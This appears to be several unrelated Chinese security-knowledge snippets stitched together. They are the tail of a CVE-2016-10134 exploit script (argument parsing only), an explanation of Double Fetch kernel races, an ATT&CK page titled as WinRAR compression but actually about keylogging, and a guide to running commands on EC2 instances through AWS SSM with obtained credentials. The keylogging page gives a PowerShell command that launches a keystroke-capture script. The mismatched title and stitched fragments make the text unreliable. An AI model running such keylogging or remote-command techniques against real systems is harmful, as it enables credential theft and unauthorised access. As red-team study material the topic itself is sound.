main(): usage = "Usage: python3 CVE-2016-10134.py --target <target ip:port>" parse = OptionParser(usage=usage) parse.add_option("-t", '--target', type="string", dest="target", help="server ip:port, e.g. 127.0.0.1:8080") options, args = parse.parse_args() if not options.target: ret['status'] = 'fail' ret['info'] = "target empty" print(usage) sys.exit() else: target = options.target try: attack(target) except Exception: ret['status'] = 'fail' print(json.dumps(ret)) if __name__ == '__main__': main()
sec-knowleage
### Double Fetch概述 `Double Fetch` 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。 在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 `copy_from_user ` 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。 一个典型的 `Double Fetch` 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
sec-knowleage
# T1560-001-win-通过winrar压缩数据 ## 来自ATT&CK的描述 攻击者可能会记录用户的键盘输入,以便在用户输入凭证时窃取。当操作系统凭证转储无效时,键盘记录很可能被用来获取新的访问机会,并可能要求攻击者在成功获取凭证之前,在系统上截取键盘输入很长一段时间。 键盘记录是最普遍的输入捕捉类型,有许多不同的截获键盘输入的方法。 钩住用于处理击键的API回调。与凭证API钩住不同,这只关注用于处理击键数据的API函数。 - 从硬件缓冲区读取原始击键数据。 - Windows注册表的修改。 - 自定义驱动程序。 - 修改系统镜像可能为攻击者提供网络设备操作系统的钩子,以读取登录会话的原始击键。 ## 测试案例 ### 测试1 Input Capture 利用PowerShell和外部资源来捕获击键信息 。 PowerSploit提供的有效载荷:<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1> 成功执行后,Powershell将执行Get-Keystrokes.ps1并输出到key.log中。 攻击命令,用powerhell运行,需要提升权限(如root或admin): ``` Set-Location $PathToAtomicsFolder .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath} ``` 清理命令: ``` Remove-Item $env:TEMP\key.log -ErrorAction Ignore ``` ## 检测日志 无 ## 测试复现 未在Windows server 2019上测试成功 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 键盘记录器可能有多种形式,可能涉及修改注册表和安装驱动程序,设置钩子,或轮询以拦截击键。常用的API调用包括SetWindowsHook、GetKeyState和GetAsyncKeyState。监控注册表和文件系统的此类变化,监控驱动程序的安装,并寻找常见的键盘记录API调用。单独的API调用不是键盘记录的指标,但可能提供行为数据,当与其他信息(如写入磁盘的新文件和不寻常的进程)相结合时,这些数据是有用的。 ## 参考推荐 MITRE-ATT&CK-T1056-001 <https://attack.mitre.org/techniques/T1056/001/> Atomic-red-team-T1056.001 <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/T1056.001.md> Payload <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1>
sec-knowleage
--- title: 利用 AWS CLI 执行命令 --- <center><h1>利用 AWS CLI 执行命令</h1></center> --- 当目标实例被 AWS Systems Manager 代理后,除了在控制台可以执行命令外,拿到凭证后使用 AWS 命令行也可以在 EC2 上执行命令。 列出目标实例 ID ```bash aws ec2 describe-instances --filters "Name=instance-type,Values=t2.micro" --query "Reservations[].Instances[].InstanceId" ``` 在对应的实例上执行命令,注意将 instance-ID 改成自己实例的 ID ```bash aws ssm send-command \ --instance-ids "instance-ID" \ --document-name "AWS-RunShellScript" \ --parameters commands=ifconfig \ --output text ``` 获得执行命令的结果,注意将 $sh-command-id 改成自己的 Command ID ```bash aws ssm list-command-invocations \ --command-id $sh-command-id \ --details ``` <img width="1000" src="/img/1657788829.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022 年 7 月 14 日" } } </script>
sec-knowleage